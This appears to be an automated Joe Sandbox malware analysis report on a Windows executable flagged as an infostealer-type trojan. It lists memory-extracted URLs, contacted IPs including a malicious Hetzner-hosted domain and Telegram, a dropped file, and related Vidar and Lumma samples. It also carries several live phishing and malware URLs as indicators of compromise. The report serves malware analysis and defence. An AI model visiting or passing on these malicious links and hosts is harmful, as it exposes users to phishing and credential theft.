https://duckduckgo.com/?q=	chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000010.00000003.2656940206.000078C400F40000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000010.00000003.2660325626.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660907593.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660364108.000078C401070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661059265.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660872042.000078C400CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2659915954.000078C401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660023682.000078C401054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660952834.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660054702.000078C4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726245075.000078C4002F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	KFUAIW.10.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	9R1D2D.10.dr	false		high
https://chrome.google.com/webstore?hl=en3	chrome.exe, 00000010.00000002.2733944167.000078C40116C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000010.00000002.2733772531.000078C4010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000010.00000002.2729233845.000078C400978000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726865760.000078C4004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733642541.000078C400FF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-3.corp.googlP2	chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3078	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 00000010.00000002.2725437117.000078C400168000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733079553.000078C400EF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	chrome.exe, 00000010.00000002.2724689572.000078C40000C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/:m	chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	HDBAI5.10.dr	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/a	chrome.exe, 00000010.00000002.2729999238.000078C400A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/fl	chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/presentation/J	chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727977288.000078C400740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726601425.000078C40039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000010.00000003.2663369383.000078C400F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661471400.000078C400344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2657880853.000078C400F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2654363786.000078C400D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656940206.000078C400F40000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?prid=19044659	chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/8280ty	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/presentation/:	chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000010.00000002.2733642541.000078C400FF8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/	chrome.exe, 00000010.00000002.2729480786.000078C400A0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Ul	chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000010.00000003.2660325626.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660907593.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660364108.000078C401070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661059265.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660872042.000078C400CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2659915954.000078C401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660023682.000078C401054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660952834.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2660054702.000078C4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726245075.000078C4002F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://labs.google.com/search?source=ntp	chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
5.75.212.196	ikores.sbs	Germany	24940	HETZNER-ASDE	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569757
Start date and time:	2024-12-06 09:39:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Yn13dTQdcW.exe renamed because original name is a hash value
Original Sample Name:	82ccd973e00420a4768bc76d2f442f52.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/37@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 24 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 173.194.222.84, 172.217.17.78, 142.250.181.99
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:40:35	API Interceptor	1x Sleep call for process: Yn13dTQdcW.exe modified
03:40:41	API Interceptor	721x Sleep call for process: Suicide.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	Voicemail_+Transcription001799.docx	Get hash	malicious	Unknown	Browse
	https://l.user-edenred-meyclub.kadeos.com/rts/go2.aspx?h=3782162&tp=i-1NHD-99-2ZH4-1HXNG6-20-1PPCf-1c-11KR2-1HWQl1-lBCrdGKkeH-2H4ZZZ&pi=6DvBMG0gjxmwWZBUOtvVSRjwHoaoPzxcEck6D3-7U78&x=i-1NHD-99-2ZH4-1HXNG6-20-1PPCf-1c-11KR2-1HWQl1-lBCrdGKkeH-2H4ZZZ%7c612254%7c1175284778&hp2=b88d9aa5cea778a386a66e248545bc7b83591c6077edf33fe6b47536c9d63d12	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://google.sk/url?q=gcwogJLi6z3yh&rct=tTPvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s%2falvoradavisual.com.br%2fyoya/fvh1/emVnZXJ0dmFuZGVybGluZ2VuQHJveWFsZmxvcmFob2xsYW5kLmNvbQ==%C3%A3%E2%82%AC%E2%80%9A$$$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse
	https://track-004.blogspot.com	Get hash	malicious	Unknown	Browse
	UNIQUE Meeting today __jo.msg	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://google.sk/url?q=lagrgJLi6z3yh&rct=tTPvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s%2fugurozsemerci.com.tr%2f4yoya/fjzc/bWF4aW1lLmRlbm91ZGVuQHVuaXF1ZS5ubA==%C3%A3%E2%82%AC%E2%80%9A$$$%C3%A3%E2%82%AC%E2%80%9A	Get hash	malicious	HTMLPhisher	Browse
	https://fujipharma.box.com/s/pezxwn32zbr37fbrrrqh18g3y8eulbk2	Get hash	malicious	Unknown	Browse
	Scan_03774843.pdf	Get hash	malicious	Unknown	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot
5.75.212.196	Setup.exe	Get hash	malicious	Vidar	Browse
5.75.212.196	Setup.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	https://track-004.blogspot.com	Get hash	malicious	Unknown	Browse	50.87.184.136
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Ttok18.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	jtkhikadjthsad.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	o26qobnkQI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	xoJxSAotVM.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	ton.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	ton.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
ikores.sbs	Setup.exe	Get hash	malicious	Vidar	Browse	5.75.212.196
ikores.sbs	Setup.exe	Get hash	malicious	Vidar	Browse	5.75.212.196

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	149.154.167.220
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	o7H9XLUD9z.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	764GVLyJne.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
HETZNER-ASDE	Setup.exe	Get hash	malicious	Vidar	Browse	5.75.212.196
	Setup.exe	Get hash	malicious	Vidar	Browse	5.75.212.196
	https://sendgb.com/Aw8gObHpGVR?utm_medium=dZJEAfc2MGnvjBD	Get hash	malicious	HTMLPhisher	Browse	5.161.50.209
	payload_1.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	ky.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	script.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	mg.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	mj.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	ZmrwoZsbPp.exe	Get hash	malicious	XRed	Browse	149.154.167.99 5.75.212.196
	ccmsetup.exe	Get hash	malicious	XRed	Browse	149.154.167.99 5.75.212.196
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 5.75.212.196
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 5.75.212.196
	Synaptics.exe	Get hash	malicious	XRed	Browse	149.154.167.99 5.75.212.196
	DKfcEFnBtm.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99 5.75.212.196
	vj3dH1vmYe.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99 5.75.212.196
	NIsNyN2CTq.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.99 5.75.212.196
	TPDKSYfEac.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99 5.75.212.196
	YQbn27ZkYY.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99 5.75.212.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\402438\Suicide.com	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	xoJxSAotVM.exe	Get hash	malicious	Vidar	Browse
	ton.exe	Get hash	malicious	Vidar	Browse
	ton.exe	Get hash	malicious	Vidar	Browse
	File.exe	Get hash	malicious	Orcus, Xmrig	Browse
	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse
